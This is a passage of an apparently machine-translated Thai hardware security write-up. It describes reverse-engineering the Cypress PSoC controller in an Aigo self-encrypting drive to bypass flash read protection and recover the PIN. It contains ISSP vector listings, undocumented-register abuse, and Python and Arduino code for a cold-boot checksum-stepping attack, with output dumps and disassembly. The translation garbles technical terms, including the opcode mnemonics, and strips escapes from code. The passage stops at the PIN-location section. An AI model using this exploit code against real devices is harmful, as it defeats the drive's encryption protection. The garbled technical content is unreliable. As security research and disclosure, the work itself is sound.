การย้อนกลับและการแฮ็ก Aigo ไดรฟ์ HDD ภายนอกที่เข้ารหัสด้วยตนเอง ส่วนที่ 2: การดัมพ์จาก Cypress PSoC

นี่เป็นส่วนที่สองและสุดท้ายของบทความเกี่ยวกับการแฮ็กไดรฟ์ที่เข้ารหัสด้วยตนเองภายนอก ฉันขอเตือนคุณว่าเมื่อเร็วๆ นี้เพื่อนร่วมงานคนหนึ่งนำฮาร์ดไดรฟ์ Patriot (Aigo) SK8671 มาให้ฉัน และฉันจึงตัดสินใจย้อนกลับ และตอนนี้ฉันกำลังแบ่งปันผลลัพธ์ที่ได้ ก่อนที่จะอ่านต่อโปรดอ่านก่อน ส่วนที่หนึ่ง บทความ

4. เราเริ่มถ่ายโอนข้อมูลจากแฟลชไดรฟ์ PSoC ภายใน
5. โปรโตคอล ISSP
– 5.1. ISSP คืออะไร
– 5.2. เวกเตอร์ที่ทำให้เข้าใจง่าย
– 5.3. การสื่อสารกับ PSoC
– 5.4. การระบุการลงทะเบียนบนชิป
– 5.5 บิตความปลอดภัย
6. การโจมตีครั้งแรก (ล้มเหลว): ROMX
7. การโจมตีครั้งที่สอง: การติดตามการบูตแบบเย็น
– 7.1. การนำไปปฏิบัติ
– 7.2. กำลังอ่านผลลัพธ์
– 7.3. การสร้างไบนารีแฟลชใหม่
– 7.4. ค้นหาที่อยู่จัดเก็บรหัส PIN
– 7.5. ทำการทิ้งบล็อกหมายเลข 126
– 7.6. การกู้คืนรหัส PIN
8. อะไรต่อไป?
9 ข้อสรุป

การย้อนกลับและการแฮ็ก Aigo ไดรฟ์ HDD ภายนอกที่เข้ารหัสด้วยตนเอง ส่วนที่ 2: การดัมพ์จาก Cypress PSoC


4. เราเริ่มถ่ายโอนข้อมูลจากแฟลชไดรฟ์ PSoC ภายใน

ดังนั้น ทุกอย่างบ่งชี้ (ตามที่เรากำหนดไว้ใน [ส่วนแรก]()) ว่ารหัส PIN ถูกจัดเก็บไว้ในความลึกของแฟลชของ PSoC ดังนั้นเราจึงต้องอ่านความลึกของแฟลชเหล่านี้ ด้านหน้าของงานที่จำเป็น:

  • ควบคุม "การสื่อสาร" ด้วยไมโครคอนโทรลเลอร์
  • ค้นหาวิธีตรวจสอบว่า "การสื่อสาร" นี้ได้รับการปกป้องจากการอ่านจากภายนอกหรือไม่
  • ต้องหาทางเลี่ยงการป้องกัน

มีสองที่ที่เหมาะสมในการค้นหารหัส PIN ที่ถูกต้อง:

  • หน่วยความจำแฟลชภายใน
  • SRAM ซึ่งสามารถจัดเก็บรหัสพินเพื่อเปรียบเทียบกับรหัสพินที่ผู้ใช้ป้อน

เมื่อมองไปข้างหน้า ฉันจะทราบว่าฉันยังคงสามารถจัดการการถ่ายโอนข้อมูลของแฟลชไดรฟ์ PSoC ภายในได้ โดยเลี่ยงระบบรักษาความปลอดภัยโดยใช้การโจมตีด้วยฮาร์ดแวร์ที่เรียกว่า "การติดตามโคลด์บูต" - หลังจากที่ย้อนกลับความสามารถที่ไม่มีเอกสารของโปรโตคอล ISSP สิ่งนี้ทำให้ฉันสามารถถ่ายโอนข้อมูลรหัส PIN จริงได้โดยตรง

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

รหัสโปรแกรมสุดท้าย:

5. โปรโตคอล ISSP

5.1. ISSP คืออะไร

“การสื่อสาร” กับไมโครคอนโทรลเลอร์อาจหมายถึงสิ่งที่แตกต่างกัน ตั้งแต่ “ผู้ขายถึงผู้จำหน่าย” ไปจนถึงการโต้ตอบโดยใช้โปรโตคอลแบบอนุกรม (เช่น ICSP สำหรับ PIC ของ Microchip)

Cypress มีโปรโตคอลที่เป็นกรรมสิทธิ์ของตัวเองสำหรับสิ่งนี้ เรียกว่า ISSP (โปรโตคอลการเขียนโปรแกรมอนุกรมในระบบ) ซึ่งอธิบายไว้บางส่วนใน ข้อกำหนดทางเทคนิค. สิทธิบัตร US7185162 ยังให้ข้อมูลบางอย่าง นอกจากนี้ยังมี OpenSource ที่เทียบเท่ากันที่เรียกว่า HSSP (เราจะใช้ในภายหลัง) ISSP ทำงานดังนี้:

  • รีบูต PSoC;
  • ส่งออกหมายเลขเวทย์มนตร์ไปยังพินข้อมูลอนุกรมของ PSoC นี้ เพื่อเข้าสู่โหมดการเขียนโปรแกรมภายนอก
  • ส่งคำสั่งซึ่งเป็นสตริงบิตยาวที่เรียกว่า "เวกเตอร์"

เอกสาร ISSP กำหนดเวกเตอร์เหล่านี้สำหรับคำสั่งเพียงไม่กี่คำสั่งเท่านั้น:

  • เริ่มต้น-1
  • เริ่มต้น-2
  • Initialize-3 (ตัวเลือก 3V และ 5V)
  • ID-การตั้งค่า
  • อ่าน ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111 โดยที่ dddddddd=block #
  • ลบจำนวนมาก
  • โปรแกรมบล็อก
  • ตรวจสอบ-ตั้งค่า
  • อ่านไบต์: 10110aaaaaaZDDDDDDDDZ1 โดยที่ DDDDDDDD = ข้อมูลออก aaaaaa = ที่อยู่ (6 บิต)
  • เขียนไบต์: 10010aaaaaaddddddd111 โดยที่ dddddddd = ข้อมูลเข้า aaaaaa = ที่อยู่ (6 บิต)
  • ปลอดภัย
  • เช็คซัม-ตั้งค่า
  • อ่านเช็ค: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1 โดยที่ DDDDDDDDDDDDDDDD = ข้อมูลออก: การตรวจสอบอุปกรณ์
  • ลบบล็อก

ตัวอย่างเช่น เวกเตอร์สำหรับ Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

เวกเตอร์ทั้งหมดมีความยาวเท่ากัน: 22 บิต เอกสาร HSSP มีข้อมูลเพิ่มเติมเกี่ยวกับ ISSP: “เวกเตอร์ ISSP เป็นเพียงลำดับบิตที่แสดงถึงชุดคำสั่ง”

5.2. เวกเตอร์ที่ทำให้เข้าใจง่าย

เรามาดูกันว่าเกิดอะไรขึ้นที่นี่ ในตอนแรก ฉันคิดว่าเวกเตอร์เดียวกันเหล่านี้เป็นเวอร์ชัน Raw ของคำสั่ง M8C แต่หลังจากตรวจสอบสมมติฐานนี้ ฉันพบว่า opcodes ของการดำเนินการไม่ตรงกัน

จากนั้นฉันก็ค้นหาเวกเตอร์ด้านบนแล้วเจอ นี้ การศึกษาที่ผู้เขียนแม้ว่าเขาจะไม่ได้ลงรายละเอียด แต่ก็ให้คำแนะนำที่เป็นประโยชน์: “ แต่ละคำสั่งเริ่มต้นด้วยสามบิตที่สอดคล้องกับหนึ่งในสี่ตัวช่วยในการจำ (อ่านจาก RAM, เขียนไปยัง RAM, อ่านการลงทะเบียน, เขียนการลงทะเบียน) จากนั้นจะมีบิตที่อยู่ 8 บิต ตามด้วยบิตข้อมูล 8 บิต (อ่านหรือเขียน) และสุดท้ายคือสามบิตหยุด”

จากนั้นฉันก็สามารถรวบรวมข้อมูลที่เป็นประโยชน์บางอย่างได้จากส่วน Supervisory ROM (SROM) คู่มือทางเทคนิค. SROM เป็น ROM แบบฮาร์ดโค้ดใน PSoC ที่ให้ฟังก์ชันยูทิลิตี้ (ในลักษณะเดียวกันกับ Syscall) สำหรับโค้ดโปรแกรมที่ทำงานในพื้นที่ผู้ใช้:

  • 00h:SWBootรีเซ็ต
  • 01h: อ่านบล็อค
  • 02h: เขียนบล็อค
  • 03h: ลบบล็อค
  • 06h: อ่านตาราง
  • 07h: เช็คซัม
  • 08h: ปรับเทียบ 0
  • 09h: ปรับเทียบ 1

ด้วยการเปรียบเทียบชื่อเวกเตอร์กับฟังก์ชัน SROM เราสามารถแมปการดำเนินการต่างๆ ที่โปรโตคอลนี้รองรับกับพารามิเตอร์ SROM ที่คาดหวังได้ ด้วยเหตุนี้ เราจึงสามารถถอดรหัสเวกเตอร์ ISSP สามบิตแรกได้:

  • 100 => “เวิรม”
  • 101 => “บันทึก”
  • 110 => “ผิด”
  • 111 => “rdreg”

อย่างไรก็ตาม ความเข้าใจที่สมบูรณ์เกี่ยวกับกระบวนการบนชิปสามารถทำได้ผ่านการสื่อสารโดยตรงกับ PSoC เท่านั้น

5.3. การสื่อสารกับ PSoC

เนื่องจาก Dirk Petrautsky มีอยู่แล้ว พอร์ต รหัส HSSP ของ Cypress บน Arduino ฉันใช้ Arduino Uno เพื่อเชื่อมต่อกับตัวเชื่อมต่อ ISSP ของบอร์ดคีย์บอร์ด

โปรดทราบว่าในระหว่างการค้นคว้า ฉันได้เปลี่ยนแปลงโค้ดของ Dirk ไปบ้างแล้ว คุณสามารถค้นหาการแก้ไขของฉันได้ใน GitHub: ที่นี่ และสคริปต์ Python ที่สอดคล้องกันสำหรับการสื่อสารกับ Arduino ในพื้นที่เก็บข้อมูลของฉัน cypress_psoc_tools.

ดังนั้นเมื่อใช้ Arduino ฉันใช้เฉพาะเวกเตอร์ "อย่างเป็นทางการ" สำหรับ "การสื่อสาร" เท่านั้น ฉันพยายามอ่าน ROM ภายในโดยใช้คำสั่ง VERIFY ตามที่คาดไว้ ฉันไม่สามารถทำเช่นนี้ได้ อาจเนื่องมาจากข้อเท็จจริงที่ว่าบิตป้องกันการอ่านถูกเปิดใช้งานภายในแฟลชไดรฟ์

จากนั้นฉันก็สร้างเวกเตอร์ง่ายๆ ของตัวเองขึ้นมาสองสามตัวสำหรับการเขียนและการอ่านหน่วยความจำ/รีจิสเตอร์ โปรดทราบว่าเราสามารถอ่าน SROM ทั้งหมดได้แม้ว่าแฟลชไดรฟ์จะได้รับการปกป้องก็ตาม!

5.4. การระบุการลงทะเบียนบนชิป

หลังจากดูเวกเตอร์ที่ “แยกชิ้นส่วน” ฉันพบว่าอุปกรณ์ใช้รีจิสเตอร์ที่ไม่มีเอกสาร (0xF8-0xFA) เพื่อระบุ opcodes M8C ซึ่งดำเนินการโดยตรง โดยข้ามการป้องกัน สิ่งนี้ทำให้ฉันสามารถรัน opcodes ต่างๆ เช่น "ADD", "MOV A, X", "PUSH" หรือ "JMP" ขอบคุณพวกเขา (โดยการดูผลข้างเคียงที่พวกเขามีต่อรีจิสเตอร์) ฉันสามารถระบุได้ว่ารีจิสเตอร์ที่ไม่มีเอกสารใดที่เป็นรีจิสเตอร์ปกติจริงๆ (A, X, SP และ PC)

ด้วยเหตุนี้ โค้ด “แยกส่วน” ที่สร้างโดยเครื่องมือ HSSP_disas.rb จึงมีลักษณะดังนี้ (ฉันเพิ่มความคิดเห็นเพื่อความชัดเจน):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. บิตความปลอดภัย

ในขั้นตอนนี้ฉันสามารถสื่อสารกับ PSoC ได้แล้ว แต่ฉันยังไม่มีข้อมูลที่เชื่อถือได้เกี่ยวกับบิตความปลอดภัยของแฟลชไดรฟ์ ฉันรู้สึกประหลาดใจมากที่ Cypress ไม่ได้ให้วิธีการใด ๆ แก่ผู้ใช้อุปกรณ์ในการตรวจสอบว่าการป้องกันเปิดใช้งานอยู่หรือไม่ ฉันเจาะลึกเข้าไปใน Google เพื่อทำความเข้าใจในที่สุดว่ารหัส HSSP ที่ Cypress ให้มานั้นได้รับการอัปเดตหลังจากที่ Dirk ปล่อยการแก้ไขของเขา แล้วไงล่ะ! เวกเตอร์ใหม่นี้ปรากฏขึ้น:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

การใช้เวกเตอร์นี้ (ดู read_security_data ใน psoc.py) เราจะได้บิตความปลอดภัยทั้งหมดใน SRAM ที่ 0x80 โดยมีสองบิตต่อบล็อกที่ได้รับการป้องกัน

ผลลัพธ์ที่ได้คือน่าหดหู่: ทุกอย่างได้รับการปกป้องในโหมด "ปิดใช้งานการอ่านและการเขียนจากภายนอก" ดังนั้นเราจึงไม่เพียง แต่ไม่สามารถอ่านอะไรจากแฟลชไดรฟ์ได้ แต่เราไม่สามารถเขียนอะไรได้เช่นกัน (เช่นเพื่อติดตั้ง ROM dumper ที่นั่น) และวิธีเดียวที่จะปิดการป้องกันได้คือลบชิปทั้งหมดให้หมด 🙁

6. การโจมตีครั้งแรก (ล้มเหลว): ROMX

อย่างไรก็ตาม เราสามารถลองใช้เคล็ดลับต่อไปนี้ได้: เนื่องจากเรามีความสามารถในการรัน opcodes ที่กำหนดเองได้ ทำไมไม่รัน ROMX ซึ่งใช้ในการอ่านหน่วยความจำแฟลชล่ะ แนวทางนี้มีโอกาสประสบความสำเร็จสูง เนื่องจากฟังก์ชัน ReadBlock ที่อ่านข้อมูลจาก SROM (ซึ่งเวกเตอร์ใช้) จะตรวจสอบว่ามีการเรียกจาก ISSP หรือไม่ อย่างไรก็ตาม opcode ROMX อาจไม่มีการตรวจสอบดังกล่าว นี่คือโค้ด Python (หลังจากเพิ่มคลาสตัวช่วยสองสามตัวในโค้ด Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

ขออภัย รหัสนี้ใช้ไม่ได้ 🙁 หรือค่อนข้างใช้งานได้ แต่ที่ผลลัพธ์เราได้รับ opcodes ของเราเอง (0x28 0x30 0x40)! ฉันไม่คิดว่าฟังก์ชันการทำงานที่เกี่ยวข้องของอุปกรณ์นั้นเป็นองค์ประกอบของการป้องกันการอ่าน นี่เป็นเหมือนเคล็ดลับทางวิศวกรรมมากกว่า: เมื่อดำเนินการ opcode ภายนอก ROM บัสจะถูกเปลี่ยนเส้นทางไปยังบัฟเฟอร์ชั่วคราว

7. การโจมตีครั้งที่สอง: การติดตามการบูตแบบเย็น

เนื่องจากเคล็ดลับ ROMX ไม่ได้ผล ฉันจึงเริ่มคิดถึงเคล็ดลับนี้รูปแบบอื่น - ตามที่อธิบายไว้ในสิ่งพิมพ์ "การฉายแสงมากเกินไปในการป้องกันเฟิร์มแวร์ของไมโครคอนโทรลเลอร์".

7.1. การนำไปปฏิบัติ

เอกสารประกอบ ISSP ให้เวกเตอร์ต่อไปนี้สำหรับการตั้งค่า CHECKSUM:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

โดยพื้นฐานแล้วจะเรียกใช้ฟังก์ชัน SROM 0x07 ตามที่แสดงในเอกสารประกอบ (ตัวเอียงของฉัน):

การตรวจสอบความถูกต้องของฟังก์ชันนี้ โดยจะคำนวณผลรวมตรวจสอบ 16 บิตของจำนวนบล็อกที่ผู้ใช้ระบุในแฟลชแบงค์เดียว โดยเริ่มจากศูนย์ พารามิเตอร์ BLOCKID ใช้เพื่อส่งผ่านจำนวนบล็อกที่จะใช้เมื่อคำนวณผลรวมตรวจสอบ ค่า "1" จะคำนวณเฉพาะการตรวจสอบสำหรับบล็อกศูนย์เท่านั้น ในทางตรงกันข้าม "0" จะทำให้มีการคำนวณผลรวมเช็ครวมของบล็อกแฟลชทั้งหมด 256 บล็อก เช็คซัม 16 บิตจะถูกส่งกลับผ่าน KEY1 และ KEY2 พารามิเตอร์ KEY1 เก็บ 8 บิตที่มีลำดับต่ำของเช็คซัม และพารามิเตอร์ KEY2 จะเก็บ 8 บิตที่มีลำดับสูง สำหรับอุปกรณ์ที่มีช่องแฟลชหลายช่อง ฟังก์ชันตรวจสอบผลรวมจะถูกเรียกแยกกัน หมายเลขธนาคารที่จะใช้งานนั้นถูกกำหนดโดยการลงทะเบียน FLS_PR1 (โดยการตั้งค่าบิตในนั้นที่สอดคล้องกับแฟลชแบงค์เป้าหมาย)

โปรดทราบว่านี่เป็นการตรวจสอบอย่างง่าย: ไบต์จะถูกเพิ่มทีละไบต์ ไม่มีนิสัยใจคอ CRC แฟนซี นอกจากนี้ เมื่อรู้ว่าคอร์ M8C มีชุดรีจิสเตอร์ที่เล็กมาก ฉันคิดว่าเมื่อคำนวณผลรวมตรวจสอบ ค่ากลางจะถูกบันทึกในตัวแปรเดียวกันกับที่จะไปที่เอาต์พุตในที่สุด: KEY1 (0xF8) / KEY2 ( 0xF9)

ตามทฤษฎีแล้ว การโจมตีของฉันจะเป็นดังนี้:

  1. เราเชื่อมต่อผ่าน ISSP
  2. เราเริ่มการคำนวณเช็คซัมโดยใช้เวกเตอร์ CHECKSUM-SETUP
  3. เรารีบูทโปรเซสเซอร์หลังจากเวลาที่กำหนด T.
  4. เราอ่าน RAM เพื่อรับเช็คซัมปัจจุบัน C
  5. ทำซ้ำขั้นตอนที่ 3 และ 4 โดยเพิ่ม T เล็กน้อยในแต่ละครั้ง
  6. เรากู้คืนข้อมูลจากแฟลชไดรฟ์โดยการลบเช็คซัมก่อนหน้า C จากอันปัจจุบัน

อย่างไรก็ตาม มีปัญหาเกิดขึ้น: เวกเตอร์ Initialize-1 ที่เราต้องส่งหลังจากรีบูตจะเขียนทับ KEY1 และ KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

โค้ดนี้จะเขียนทับเช็คซัมอันมีค่าของเราโดยการเรียก Calibrate1 (ฟังก์ชัน SROM 9)... บางทีเราอาจจะส่งหมายเลขวิเศษ (จากจุดเริ่มต้นของโค้ดด้านบน) เพื่อเข้าสู่โหมดการเขียนโปรแกรม แล้วอ่าน SRAM ได้หรือไม่ และใช่ มันได้ผล! รหัส Arduino ที่ใช้การโจมตีนี้ค่อนข้างง่าย:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. อ่าน checkum_delay
  2. เรียกใช้การคำนวณเช็คซัม (send_checksum_v)
  3. รอตามระยะเวลาที่กำหนด โดยคำนึงถึงข้อผิดพลาดดังต่อไปนี้:
    • ฉันเสียเวลาไปมากจนกระทั่งพบว่าเกิดอะไรขึ้น ดีเลย์ไมโครวินาที ทำงานได้อย่างถูกต้องโดยมีความล่าช้าไม่เกิน 16383 μs เท่านั้น
    • แล้วฆ่าเวลาเท่าเดิมอีกครั้งจนกระทั่งฉันค้นพบว่าความล่าช้าไมโครวินาทีหากส่งผ่าน 0 ไปเป็นอินพุตจะทำงานไม่ถูกต้องโดยสิ้นเชิง!
  4. รีบูต PSoC เข้าสู่โหมดการเขียนโปรแกรม (เราเพิ่งส่งหมายเลขเวทย์มนตร์ โดยไม่ส่งเวกเตอร์การเริ่มต้น)

รหัสสุดท้ายใน Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

สรุปว่าโค้ดนี้ทำอะไร:

  1. รีบูต PSoC (และส่งหมายเลขเวทย์มนตร์)
  2. ส่งเวกเตอร์การเริ่มต้นแบบเต็ม
  3. เรียกใช้ฟังก์ชัน Arduino Cmnd_STK_START_CSUM (0x85) โดยที่การหน่วงเวลาเป็นไมโครวินาทีจะถูกส่งผ่านเป็นพารามิเตอร์
  4. อ่านเช็คซัม (0xF8 และ 0xF9) และรีจิสเตอร์ที่ไม่มีเอกสาร 0xF1

รหัสนี้ถูกดำเนินการ 10 ครั้งใน 1 ไมโครวินาที 0xF1 รวมอยู่ที่นี่เนื่องจากเป็นรีจิสเตอร์เดียวที่เปลี่ยนแปลงเมื่อคำนวณเช็คซัม บางทีมันอาจเป็นตัวแปรชั่วคราวบางประเภทที่ใช้โดยหน่วยลอจิกทางคณิตศาสตร์ สังเกตแฮ็คที่น่าเกลียดที่ฉันใช้เพื่อรีเซ็ต Arduino โดยใช้ picocom เมื่อ Arduino หยุดแสดงสัญญาณของชีวิต (ไม่รู้ว่าทำไม)

7.2. กำลังอ่านผลลัพธ์

ผลลัพธ์ของสคริปต์ Python มีลักษณะดังนี้ (ย่อให้อ่านง่าย):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

ดังที่กล่าวไว้ เรามีปัญหา: เนื่องจากเรากำลังดำเนินการโดยใช้เช็คซัมจริง ไบต์ว่างจะไม่เปลี่ยนค่าที่อ่าน อย่างไรก็ตาม เนื่องจากขั้นตอนการคำนวณทั้งหมด (8192 ไบต์) ใช้เวลา 0,1478 วินาที (โดยมีการเปลี่ยนแปลงเล็กน้อยในแต่ละครั้งที่มีการรัน) ซึ่งเท่ากับประมาณ 18,04 μs ต่อไบต์ เราจึงสามารถใช้เวลานี้เพื่อตรวจสอบค่าตรวจสอบผลรวมในเวลาที่เหมาะสม สำหรับการรันครั้งแรก ทุกอย่างจะอ่านได้ง่ายมาก เนื่องจากระยะเวลาของขั้นตอนการคำนวณเกือบจะเท่ากันเสมอ อย่างไรก็ตาม การสิ้นสุดของดัมพ์นี้มีความแม่นยำน้อยกว่า เนื่องจาก “ความเบี่ยงเบนด้านเวลาเล็กน้อย” ในการรันแต่ละครั้งรวมกันจนกลายเป็นเรื่องสำคัญ:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

นั่นคือการดัมพ์ 10 ครั้งสำหรับทุก ๆ ไมโครวินาที เวลาดำเนินการทั้งหมดสำหรับการดัมพ์แฟลชไดรฟ์ขนาด 8192 ไบต์ทั้งหมดคือประมาณ 48 ชั่วโมง

7.3. การสร้างไบนารีแฟลชใหม่

ฉันยังเขียนโค้ดที่จะสร้างโค้ดโปรแกรมของแฟลชไดรฟ์ขึ้นมาใหม่โดยสมบูรณ์โดยคำนึงถึงความเบี่ยงเบนตลอดเวลา อย่างไรก็ตาม ฉันได้คืนค่าจุดเริ่มต้นของโค้ดนี้แล้ว เพื่อให้แน่ใจว่าฉันทำถูกต้อง ฉันจึงแยกชิ้นส่วนโดยใช้ m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

ดูค่อนข้างจะเป็นไปได้!

7.4. ค้นหาที่อยู่จัดเก็บรหัส PIN

ตอนนี้เราสามารถอ่านผลรวมตรวจสอบในเวลาที่ต้องการได้แล้ว เราสามารถตรวจสอบได้อย่างง่ายดายว่าจะเปลี่ยนแปลงอย่างไรและที่ไหนเมื่อเรา:

  • ป้อนรหัส PIN ผิด
  • เปลี่ยนรหัสพิน

ขั้นแรก เพื่อค้นหาที่อยู่พื้นที่เก็บข้อมูลโดยประมาณ ฉันจึงทำการตรวจสอบดัมพ์โดยเพิ่มขึ้นทีละ 10 มิลลิวินาทีหลังจากรีบูต จากนั้นฉันป้อน PIN ผิดและทำเช่นเดียวกัน

ผลลัพธ์ไม่น่าพอใจนัก เนื่องจากมีการเปลี่ยนแปลงมากมาย แต่ในที่สุดฉันก็สามารถระบุได้ว่าผลรวมตรวจสอบเปลี่ยนแปลงไปที่ไหนสักแห่งระหว่าง 120000 µs ถึง 140000 µs ของความล่าช้า แต่ "รหัสพิน" ที่ฉันแสดงนั้นไม่ถูกต้องโดยสิ้นเชิง - เนื่องจากอาร์ติแฟกต์ของโพรซีเดอร์ดีเลย์ไมโครวินาที ซึ่งทำสิ่งแปลก ๆ เมื่อส่งผ่าน 0 ไป

